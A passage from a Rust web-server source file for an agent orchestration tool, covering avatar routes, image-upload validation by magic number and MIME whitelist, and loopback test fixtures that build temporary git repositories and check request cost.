10887            Err(e) => return Err(anyhow::Error::from(e).into()),
10888        }
10889        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10890    })
10891    .await
10892}
10893
10894async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10895    let icon = (q.builtin.is_none())
10896        .then(|| read_magi_icon(&ui.home))
10897        .flatten();
10898    let mut response = match icon
10899        .as_deref()
10900        .and_then(|icon| persona_icon::load(icon).ok())
10901    {
10902        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10903            attachment_response(mime, bytes)
10904        }
10905        _ => svg_avatar(persona_icon::magi_svg()),
10906    };
10907    response
10908        .headers_mut()
10909        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10910    response
10911}
10912
10913/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10914/// operator's raster `icon` when it resolves and its bytes agree with its
10915/// type, the built-in SVG otherwise. Display only; every failure is a warning
10916/// and the built-in avatar, never an error response.
10917async fn talk_avatar(
10918    State(ui): State<Arc<Ui>>,
10919    Path(id): Path<String>,
10920    Query(q): Query<AvatarQuery>,
10921) -> ApiResult<Response> {
10922    blocking(move || {
10923        let id = resolve_talk(&ui.talks, &id)?;
10924        let talk = ui.talks.get(&id)?;
10925        let wanted = q
10926            .persona
10927            .as_deref()
10928            .map(str::trim)
10929            .filter(|p| !p.is_empty())
10930            .unwrap_or(&talk.persona)
10931            .to_owned();
10932        let specs = match Config::discover(&talk.repo, None) {
10933            Ok((cfg, _)) => cfg.talk.personas,
10934            Err(e) => {
10935                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10936                Vec::new()
10937            }
10938        };
10939        let found = persona::find(&specs, &wanted);
10940        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10941        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10942        let icon = effective_persona_icon(
10943            &ui.home,
10944            &wanted,
10945            found.as_ref().and_then(|p| p.icon.as_deref()),
10946        );
10947        if found.is_none() && icon.is_none() {
10948            return Ok(builtin_avatar(persona::DEFAULT_ID));
10949        }
10950        let Some(icon) = icon
10951            .as_deref()
10952            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10953        else {
10954            return Ok(builtin_avatar(&wanted));
10955        };
10956        let Some(found) = found else {
10957            return Ok(raster_or_builtin(
10958                Some(icon),
10959                persona_icon::builtin_svg(&wanted),
10960            ));
10961        };
10962        match persona_icon::load(icon) {
10963            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10964                let mut res = attachment_response(mime, bytes);
10965                res.headers_mut().insert(
10966                    header::CACHE_CONTROL,
10967                    header::HeaderValue::from_static("no-cache"),
10968                );
10969                Ok(res)
10970            }
10971            Ok((mime, _)) => {
10972                tracing::warn!(
10973                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10974                    found.id
10975                );
10976                Ok(builtin_avatar(&found.id))
10977            }
10978            Err(e) => {
10979                tracing::warn!(
10980                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10981                    found.id
10982                );
10983                Ok(builtin_avatar(&found.id))
10984            }
10985        }
10986    })
10987    .await
10988}
10989
10990/// Validate an attachment upload's declared `Content-Type` and the bytes
10991/// themselves, returning the canonical mime on success.
10992///
10993/// Two checks, both required: the header has to name one of
10994/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10995/// simply never in the list, active content rather than a picture, the same
10996/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10997/// magic number has to agree. The second is what stops a mislabeled upload -
10998/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10999/// a declared type is a claim, not a fact, so it is never trusted alone.
11000fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11001    if data.len() > ATTACHMENT_MAX_BYTES {
11002        return Err(ApiError::bad_request(format!(
11003            "attachment is {} bytes, over the {} MiB limit",
11004            data.len(),
11005            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11006        ))
11007        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11008    }
11009    if data.is_empty() {
11010        return Err(ApiError::bad_request("attachment is empty"));
11011    }
11012    let declared = declared_mime(headers)?;
11013    match sniffed_mime(data) {
11014        Some(sniffed) if sniffed == declared => Ok(declared),
11015        Some(sniffed) => Err(ApiError::bad_request(format!(
11016            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11017        ))),
11018        None => Err(ApiError::bad_request(
11019            "the file's bytes do not match any accepted image format",
11020        )),
11021    }
11022}
11023
11024/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11025/// and nothing else - parameters like `; charset=` are stripped, but the
11026/// value itself is not otherwise interpreted.
11027fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11028    let raw = headers
11029        .get(header::CONTENT_TYPE)
11030        .and_then(|v| v.to_str().ok())
11031        .unwrap_or("")
11032        .split(';')
11033        .next()
11034        .unwrap_or("")
11035        .trim()
11036        .to_ascii_lowercase();
11037    ATTACHMENT_MIME_WHITELIST
11038        .iter()
11039        .find(|&&m| m == raw)
11040        .copied()
11041        .ok_or_else(|| {
11042            if raw == "image/svg+xml" {
11043                ApiError::bad_request(
11044                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11045                     not just a picture",
11046                )
11047            } else if raw.is_empty() {
11048                ApiError::bad_request("Content-Type is required for an attachment upload")
11049            } else {
11050                ApiError::bad_request(format!(
11051                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11052                     image/gif or image/webp"
11053                ))
11054            }
11055        })
11056}
11057
11058/// Identify an image by its magic number, independent of whatever
11059/// `Content-Type` claimed.
11060fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11061    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11062        Some("image/png")
11063    } else if data.starts_with(b"\xff\xd8\xff") {
11064        Some("image/jpeg")
11065    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11066        Some("image/gif")
11067    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11068        Some("image/webp")
11069    } else {
11070        None
11071    }
11072}
11073
11074/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11075/// display - see [`talk::Attachment::name`]'s doc on why it never
11076/// contributes to a path. A missing or blank header (curl without it, an
11077/// older front end) falls back to a generic name rather than refusing the
11078/// upload over a field that is cosmetic.
11079fn filename_header(headers: &HeaderMap) -> String {
11080    headers
11081        .get(FILENAME_HEADER)
11082        .and_then(|v| v.to_str().ok())
11083        .map(str::trim)
11084        .filter(|s| !s.is_empty())
11085        .unwrap_or("attachment")
11086        .to_owned()
11087}
11088
11089/// Every attachment `GET` response: the mime re-validated against the same
11090/// closed whitelist the upload route enforces - never the string trusted
11091/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11092/// cannot decide it knows better than the type we send. Unlike a panel asset
11093/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11094/// document renders inline, not agent-authored HTML in a sandboxed frame.
11095fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11096    let content_type = ATTACHMENT_MIME_WHITELIST
11097        .iter()
11098        .find(|&&m| m == mime)
11099        .copied()
11100        .unwrap_or("application/octet-stream");
11101    (
11102        [
11103            (header::CONTENT_TYPE, content_type),
11104            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11105        ],
11106        body,
11107    )
11108        .into_response()
11109}
11110
11111/// The configuration for a repository, read off the disk for this request.
11112///
11113/// Through [`blocking`] because discovery reads and merges several TOML files,
11114/// and because the alternative - caching it in [`Ui`] at startup - would mean
11115/// the operator's phone kept interviewing with a roster they had already
11116/// changed, with no way to reload it but restarting the server they are not
11117/// sitting in front of.
11118async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11119    let repo = repo.to_path_buf();
11120    blocking(move || {
11121        let (cfg, _) = Config::discover(&repo, None)?;
11122        Ok(cfg)
11123    })
11124    .await
11125}
11126
11127/// The one prefix rule, used for both runs and tasks: a leading match for a
11128/// full id, a trailing match for the short form an operator reads off a
11129/// report. Written here rather than borrowed from `queue::resolve_id` because
11130/// the UI needs the two failures as different status codes, and telling them
11131/// apart from an error message is not something to build a route on.
11132fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11133    let mut hits = ids
11134        .into_iter()
11135        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11136    match (hits.next(), hits.next()) {
11137        (Some(one), None) => Ok(one),
11138        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11139        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11140            "`{prefix}` matches more than one {what}, including {a} and {b}"
11141        ))),
11142    }
11143}
11144
11145#[cfg(test)]
11146mod tests {
11147
11148    #[test]
11149    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11150        let dir = tempfile::tempdir().unwrap();
11151        let store = ask::Questions::at(dir.path().join("questions"));
11152        let mut q = Question::new(
11153            "task".to_owned(),
11154            "conduct".to_owned(),
11155            "conduct".to_owned(),
11156            "choose".to_owned(),
11157            String::new(),
11158            vec!["keep".to_owned()],
11159        );
11160        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11161        q.say("why?").unwrap();
11162        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11163        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11164        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11165        store.put(&mut q).unwrap();
11166        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11167        assert_eq!(store.count_needs_owner(), 1);
11168        store.beat(&q.id, ask::WaiterKind::Deputy);
11169        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11170        assert_eq!(store.count_needs_owner(), 0);
11171        let mut stale = store.read_lease(&q.id).unwrap();
11172        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11173        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11174        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11175        assert!(view.deputy_exhausted);
11176        assert!(view.waiting_on_agent);
11177        assert_eq!(view.question.choices, ["keep"]);
11178        store.drop_lease(&q.id);
11179        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11180        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11181    }
11182
11183    #[test]
11184    fn holder_reads_the_lease_not_the_record() {
11185        let mut q = Question::new(
11186            "run".to_owned(),
11187            "implement".to_owned(),
11188            "impl-A".to_owned(),
11189            "which?".to_owned(),
11190            String::new(),
11191            Vec::new(),
11192        );
11193        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11194        q.cwd = Some("/tmp".to_owned());
11195        assert_eq!(holder_of(&q, None), Some("nobody"));
11196        let beat = |kind, ago: i64| ask::Lease {
11197            kind,
11198            pid: 1,
11199            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11200                .unwrap(),
11201        };
11202        let fresh = beat(ask::WaiterKind::Asker, 1);
11203        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11204        let daemon = beat(ask::WaiterKind::Daemon, 1);
11205        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11206        let stale = beat(ask::WaiterKind::Asker, 3600);
11207        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11208
11209        // A conductor question says "deputy" only while one is attached and
11210        // alive, and "nobody" - never silence - when nothing ever listened.
11211        let mut c = Question::new(
11212            "task".to_owned(),
11213            crate::conduct::NODE.to_owned(),
11214            "conduct".to_owned(),
11215            "which?".to_owned(),
11216            String::new(),
11217            Vec::new(),
11218        );
11219        assert_eq!(holder_of(&c, None), Some("nobody"));
11220        c.cwd = Some("/tmp".to_owned());
11221        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11222        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11223        let deputy = beat(ask::WaiterKind::Deputy, 1);
11224        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11225        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11226
11227        // A release-watch question: nobody until a deputy is attached.
11228        let mut r = Question::new(
11229            String::new(),
11230            crate::bump::NOTICE_NODE.to_owned(),
11231            "release-watch".to_owned(),
11232            "stuck?".to_owned(),
11233            String::new(),
11234            vec!["hold".to_owned()],
11235        );
11236        assert_eq!(holder_of(&r, None), Some("nobody"));
11237        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11238        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11239        // A choice-less bump notice is nobody's question at all.
11240        r.deputy = None;
11241        r.seat = "bump".to_owned();
11242        assert_eq!(holder_of(&r, None), None);
11243
11244        // A merge approval is the same: nobody until a deputy is attached
11245        // and alive, never a silent "no holder".
11246        let mut m = Question::new(
11247            "run".to_owned(),
11248            crate::land::APPROVAL_NODE.to_owned(),
11249            "land".to_owned(),
11250            "merge?".to_owned(),
11251            String::new(),
11252            Vec::new(),
11253        );
11254        assert_eq!(holder_of(&m, None), Some("nobody"));
11255        assert_eq!(
11256            holder_of(&m, Some(&fresh)),
11257            Some("asker"),
11258            "a live explicit wait is a listener even before a deputy is attached"
11259        );
11260        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11261        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11262        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11263        assert_eq!(holder_of(&m, None), Some("nobody"));
11264    }
11265
11266    fn stub_config() -> Config {
11267        // An explicit roster, so the result never depends on which agent CLIs
11268        // this machine has installed.
11269        Config {
11270            agents: vec![crate::config::AgentSpec {
11271                id: "stub".to_owned(),
11272                kind: AgentKind::Command,
11273                model: None,
11274                command: vec!["true".to_owned()],
11275                extra_args: Vec::new(),
11276                env: Default::default(),
11277                prompt_delivery: None,
11278                max_turn_secs: None,
11279            }],
11280            ..Config::default()
11281        }
11282    }
11283
11284    fn plain_question(seat: &str) -> Question {
11285        Question::new(
11286            String::new(),
11287            "n".to_owned(),
11288            seat.to_owned(),
11289            "s".to_owned(),
11290            String::new(),
11291            Vec::new(),
11292        )
11293    }
11294
11295    #[test]
11296    fn deputies_enabled_follows_the_config() {
11297        let on = stub_config();
11298        assert!(crate::deputy::can_start(Some(&on), ""));
11299        assert!(crate::deputy::can_start(Some(&on), "stub"));
11300        let mut off = on.clone();
11301        off.daemon.max_deputies = 0;
11302        assert!(!crate::deputy::can_start(Some(&off), ""));
11303        let mut empty = on;
11304        empty.agents.clear();
11305        assert!(!crate::deputy::can_start(Some(&empty), ""));
11306        assert!(!crate::deputy::can_start(None, ""));
11307    }
11308
11309    #[test]
11310    fn question_views_load_the_config_once() {
11311        let dir = TempDir::new().unwrap();
11312        let store = ask::Questions::at(dir.path().to_path_buf());
11313        let mut with_deputy = plain_question("b");
11314        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11315        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11316
11317        let calls = std::cell::Cell::new(0usize);
11318        let views = question_views(qs.clone(), &store, || {
11319            calls.set(calls.get() + 1);
11320            Some(stub_config())
11321        });
11322        assert_eq!(calls.get(), 1);
11323        assert_eq!(views.len(), 3);
11324        for (v, q) in views.iter().zip(&qs) {
11325            assert_eq!(
11326                v.deputies_enabled,
11327                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11328            );
11329        }
11330
11331        let views = question_views(qs, &store, || None);
11332        assert!(views.iter().all(|v| !v.deputies_enabled));
11333
11334        let calls = std::cell::Cell::new(0usize);
11335        let views = question_views(Vec::new(), &store, || {
11336            calls.set(calls.get() + 1);
11337            None
11338        });
11339        assert!(views.is_empty());
11340        assert_eq!(calls.get(), 0);
11341    }
11342
11343    use pretty_assertions::assert_eq;
11344    use serde_json::Value;
11345    use tempfile::TempDir;
11346    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11347
11348    use super::*;
11349    use crate::config::Config;
11350    use crate::queue::Source;
11351
11352    /// How many 10ms steps a settle loop takes before it calls a stall a
11353    /// stall - thirty seconds.
11354    ///
11355    /// These loops wait on real `sh` subprocesses, and the machine that runs
11356    /// the gate runs several suites at once, so a two-second budget was not
11357    /// waiting for the reply, it was racing the scheduler: two of these
11358    /// tests failed under that load with the turn simply not landed yet.
11359    /// This is a hang guard, not a latency assertion - every loop breaks the
11360    /// moment its condition holds, so a generous cap costs an idle machine
11361    /// nothing and still fails a genuine hang instead of hanging the suite.
11362    const SETTLE_STEPS: usize = 3_000;
11363
11364    /// A home with a queue and a runs directory, and a router serving it on
11365    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11366    /// dependency, not ours - so the tests drive a real socket, which has the
11367    /// side benefit of asserting the status line and content types the phone
11368    /// actually receives.
11369    struct Fixture {
11370        home: TempDir,
11371        addr: SocketAddr,
11372    }
11373
11374    impl Fixture {
11375        async fn start() -> Self {
11376            Self::with_loop(launch_idle).await
11377        }
11378
11379        /// A fixture whose loop is `launch`.
11380        async fn with_loop(launch: Launch) -> Self {
11381            let home = TempDir::new().expect("temp home");
11382            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11383            Self { home, addr }
11384        }
11385
11386        /// A fixture whose `ui.repo` is a real directory rather than the
11387        /// usual placeholder - for the routes that read config off it
11388        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11389        async fn with_repo(repo: PathBuf) -> Self {
11390            let home = TempDir::new().expect("temp home");
11391            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11392            Self { home, addr }
11393        }
11394
11395        /// As [`Fixture::with_repo`], with the machine-config file the
11396        /// settings screen reads and writes.
11397        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11398            let home = TempDir::new().expect("temp home");
11399            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11400            Self { home, addr }
11401        }
11402
11403        async fn serve(
11404            home: &FsPath,
11405            repo: PathBuf,
11406            launch: Launch,
11407            machine: Option<PathBuf>,
11408        ) -> SocketAddr {
11409            let queue = Queue::at(home.join("queue"));
11410            let runs = home.join("runs");
11411            std::fs::create_dir_all(&runs).expect("runs dir");
11412            let worktrees = home.join("wt").join("magi");
11413            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11414            let ui = Ui::new(
11415                queue,
11416                Questions::at(home.join("questions")),
11417                Talks::at(home.join("talks")),
11418                runs,
11419                home.to_path_buf(),
11420                repo,
11421            )
11422            .with_worktrees_root(worktrees)
11423            .with_machine_config(machine)
11424            .with_launch(launch);
11425            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11426                .await
11427                .expect("bind loopback");
11428            let addr = listener.local_addr().expect("local addr");
11429            tokio::spawn(async move {
11430                let router = ui
11431                    .router()
11432                    .layer(axum::middleware::from_fn(request_cost::observe));
11433                let _ = axum::serve(listener, router).await;
11434            });
11435            addr
11436        }
11437
11438        fn queue(&self) -> Queue {
11439            Queue::at(self.home.path().join("queue"))
11440        }
11441
11442        fn questions(&self) -> Questions {
11443            Questions::at(self.home.path().join("questions"))
11444        }
11445
11446        fn talks(&self) -> Talks {
11447            Talks::at(self.home.path().join("talks"))
11448        }
11449
11450        fn runs(&self) -> PathBuf {
11451            self.home.path().join("runs")
11452        }
11453
11454        async fn get(&self, path: &str) -> Res {
11455            request(self.addr, "GET", path, None).await
11456        }
11457
11458        /// The status and headers without the body, which is how the front end
11459        /// preflights a panel: a sandboxed frame is opaque to the parent
11460        /// document, so the only way to tell "no panel" from "a panel that
11461        /// rendered blank" is to ask before mounting.
11462        async fn head(&self, path: &str) -> Res {
11463            request(self.addr, "HEAD", path, None).await
11464        }
11465
11466        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11467            request(self.addr, "POST", path, body).await
11468        }
11469
11470        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11471            request_with(self.addr, "GET", path, None, extra).await
11472        }
11473
11474        async fn delete(&self, path: &str) -> Res {
11475            request(self.addr, "DELETE", path, None).await
11476        }
11477
11478        async fn put(&self, path: &str, body: &str) -> Res {
11479            request(self.addr, "PUT", path, Some(body)).await
11480        }
11481
11482        /// `POST` a raw body with its own headers - see [`request_bytes`].
11483        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11484            request_bytes(self.addr, path, headers, body).await
11485        }
11486    }
11487
11488    /// Real tracking refs exercise the successful discovery path (including
11489    /// extraction), rather than counting cheap failures on a placeholder repo.
11490    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11491        let tmp = TempDir::new().unwrap();
11492        let mut repos = Vec::new();
11493        for name in ["one", "two"] {
11494            let repo = tmp.path().join(name);
11495            let origin = tmp.path().join(format!("{name}.git"));
11496            std::fs::create_dir_all(&repo).unwrap();
11497            crate::git::git(&repo, &["init", "-b", "main"])
11498                .await
11499                .unwrap();
11500            std::fs::write(
11501                repo.join("magi.toml"),
11502                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11503            )
11504            .unwrap();
11505            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11506            crate::git::git(
11507                &repo,
11508                &[
11509                    "-c",
11510                    "user.name=fixture",
11511                    "-c",
11512                    "user.email=fixture@example.invalid",
11513                    "commit",
11514                    "-m",
11515                    "fixture",
11516                ],
11517            )
11518            .await
11519            .unwrap();
11520            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11521                .await
11522                .unwrap();
11523            crate::git::git(
11524                &repo,
11525                &["remote", "add", "origin", origin.to_str().unwrap()],
11526            )
11527            .await
11528            .unwrap();
11529            crate::git::git(&repo, &["push", "origin", "main"])
11530                .await
11531                .unwrap();
11532            crate::git::git(
11533                &repo,
11534                &[
11535                    "symbolic-ref",
11536                    "refs/remotes/origin/HEAD",
11537                    "refs/remotes/origin/main",
11538                ],
11539            )
11540            .await
11541            .unwrap();
11542            let (cfg, _) = Config::discover(&repo, None).unwrap();
11543            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11544            repos.push(repo);
11545        }
11546        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11547        (tmp, repos)
11548    }
11549
11550    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11551        let (tmp, repos) = performance_repositories().await;
11552        let machine = tmp.path().join("machine.toml");
11553        std::fs::write(&machine, "").unwrap();
11554        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11555        (tmp, repos, fx)
11556    }
11557
11558    fn seed_performance(
11559        fx: &Fixture,
11560        repos: &[PathBuf; 2],
11561        questions: usize,
11562        runs: usize,
11563        items: usize,
11564    ) {
11565        // Saving states directly never starts a run or changes MAGI_HOME.
11566        for i in fx.questions().list().len()..questions {
11567            let mut question = Question::new(
11568                "20261001-000000-0000".into(),
11569                "implement".into(),
11570                "impl-A".into(),
11571                format!("question {i}"),
11572                "context".into(),
11573                vec!["yes".into(), "no".into()],
11574            );
11575            question.id = format!("20261003-000000-{i:04x}");
11576            fx.questions().put(&mut question).unwrap();
11577        }
11578        for i in run_ids(&fx.runs()).len()..runs {
11579            write_run_repo(
11580                &fx.runs(),
11581                &format!("20261001-000000-{i:04x}"),
11582                RunStatus::Ready,
11583                repos[i % 2].to_str().unwrap(),
11584            );
11585        }
11586        for i in fx.talks().list().len()..items {
11587            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11588            let mut talk = fx.talks().get(&id).unwrap();
11589            talk.repo = repos[i % 2].clone();
11590            fx.talks().put(&mut talk).unwrap();
11591            let mut task = crate::queue::Task::new(
11592                format!("task {i}"),
11593                "instruction".into(),
11594                repos[i % 2].clone(),
11595                crate::queue::Source::Agent {
11596                    run: id,
11597                    node: crate::queue::CHAT_NODE.into(),
11598                },
11599            );
11600            task.id = format!("20261004-000000-{i:04x}");
11601            fx.queue().put(&mut task).unwrap();
11602            // Notices has a production retention cap; seed up to that cap.
11603            if i < crate::notices::CAP {
11604                Notices::at(fx.home.path().join("notifications"))
11605                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11606                    .unwrap();
11607            }
11608        }
11609        assert_eq!(fx.questions().list().len(), questions);
11610        assert_eq!(run_ids(&fx.runs()).len(), runs);
11611        assert_eq!(fx.talks().list().len(), items);
11612        assert_eq!(fx.queue().list().len(), items);
11613        assert_eq!(
11614            Notices::at(fx.home.path().join("notifications"))
11615                .list()
11616                .len(),
11617            items.min(crate::notices::CAP)
11618        );
11619    }
11620
11621    #[tokio::test]
11622    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11623        let home = TempDir::new().unwrap();
11624        let root = home.path().canonicalize().unwrap();
11625        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11626        let fx = Fixture { home, addr };
11627        let repo = root.as_path().join("archive-repo");
11628        std::fs::create_dir(&repo).unwrap();
11629        crate::git::git(&repo, &["init", "-b", "main"])
11630            .await
11631            .unwrap();
11632        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11633            .await
11634            .unwrap();
11635        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11636            .await
11637            .unwrap();
11638        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11639            .await
11640            .unwrap();
11641        std::fs::write(repo.join("source"), "base").unwrap();
11642        crate::git::git(&repo, &["add", "."]).await.unwrap();
11643        crate::git::git(&repo, &["commit", "-m", "base"])
11644            .await
11645            .unwrap();
11646        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11647        std::fs::write(repo.join("source"), "archived review").unwrap();
11648        crate::git::git(&repo, &["commit", "-am", "review"])
11649            .await
11650            .unwrap();
11651        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11652        let mut config = Config::default();
11653        config.graph.worktree_root = Some(root.as_path().join("copies"));
11654        let mut state = RunState::new(
11655            repo.clone(),
11656            "main".into(),
11657            base.clone(),
11658            "archive".into(),
11659            config,
11660        );
11661        state.id = "20260101-000000-ef05".into();
11662        state.status = RunStatus::Ready;
11663        state.save_under(root.as_path()).unwrap();
11664        let evidence =
11665            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11666                .await
11667                .unwrap();
11668        let base_evidence =
11669            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11670                .await
11671                .unwrap();
11672        let source = state.worktree_root().join("review-1");
11673        let mut contents = std::collections::BTreeMap::new();
11674        contents.insert(
11675            repo.join("logs/HEAD"),
11676            format!("{base} {head} fixture\n").into_bytes(),
11677        );
11678        let record = serde_json::json!({
11679            "version":1, "run":state.id, "source":source, "head":head,
11680            "evidence":evidence, "admin":{}, "admin_contents":contents,
11681            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11682        });
11683        std::fs::write(
11684            fx.runs()
11685                .join(&state.id)
11686                .join("artifacts/eviction-review-1.json"),
11687            serde_json::to_vec(&record).unwrap(),
11688        )
11689        .unwrap();
11690        std::fs::remove_dir_all(&repo).unwrap();
11691        let url = format!("/api/runs/{}/seat-evidence", state.id);
11692        let list = fx.get(&url).await;
11693        assert_eq!(list.status, 200, "{}", list.body);
11694        assert_eq!(list.json()[&head], "review-1");
11695        let patch = fx.get(&format!("{url}/{head}")).await;
11696        assert_eq!(patch.status, 200, "{}", patch.body);
11697        assert!(patch.body.contains("+archived review"));
11698        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11699        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11700        assert_eq!(fx.get(&url).await.status, 404);
11701        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11702    }
11703
11704    fn request_counts(res: &Res) -> (usize, usize) {
11705        assert_eq!(res.status, 200, "{}", res.body);
11706        (
11707            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11708            res.header("x-test-git").unwrap().parse().unwrap(),
11709        )
11710    }
11711
11712    #[tokio::test]
11713    async fn list_request_cost_is_independent_of_record_count() {
11714        let (_tmp, repos, fx) = performance_fixture().await;
11715        let mut previous = None;
11716        for n in [4, 60] {
11717            seed_performance(&fx, &repos, n, n, n);
11718            let mut costs = Vec::new();
11719            for (path, discoveries) in [
11720                ("/api/questions", 1),
11721                ("/api/talks", 0),
11722                ("/api/health", 0),
11723                ("/api/stats", 1),
11724            ] {
11725                // Equal cold extraction caches at both scales; this also
11726                // bounds first-request cost instead of only warmed requests.
11727                for repo in &repos {
11728                    let cache = repo.join(".git/magi/config");
11729                    if cache.exists() {
11730                        std::fs::remove_dir_all(cache).unwrap();
11731                    }
11732                }
11733                let cost = request_counts(&fx.get(path).await);
11734                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11735                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11736                assert!(
11737                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11738                    "{path}: {cost:?}"
11739                );
11740                costs.push(cost);
11741            }
11742            if let Some(previous) = previous {
11743                assert_eq!(costs, previous);
11744            }
11745            previous = Some(costs);
11746        }
11747        // runs reads shared row inputs and probes process liveness; queue
11748        // builds one blocker inventory; notifications reads its own store.
11749        // None discovers configuration or spawns git per item.
11750    }
11751
11752    /// The same handler path without transport, so the deterministic cause
11753    /// can also be checked in environments that prohibit binding sockets.
11754    #[tokio::test]
11755    async fn list_handler_cost_without_transport() {
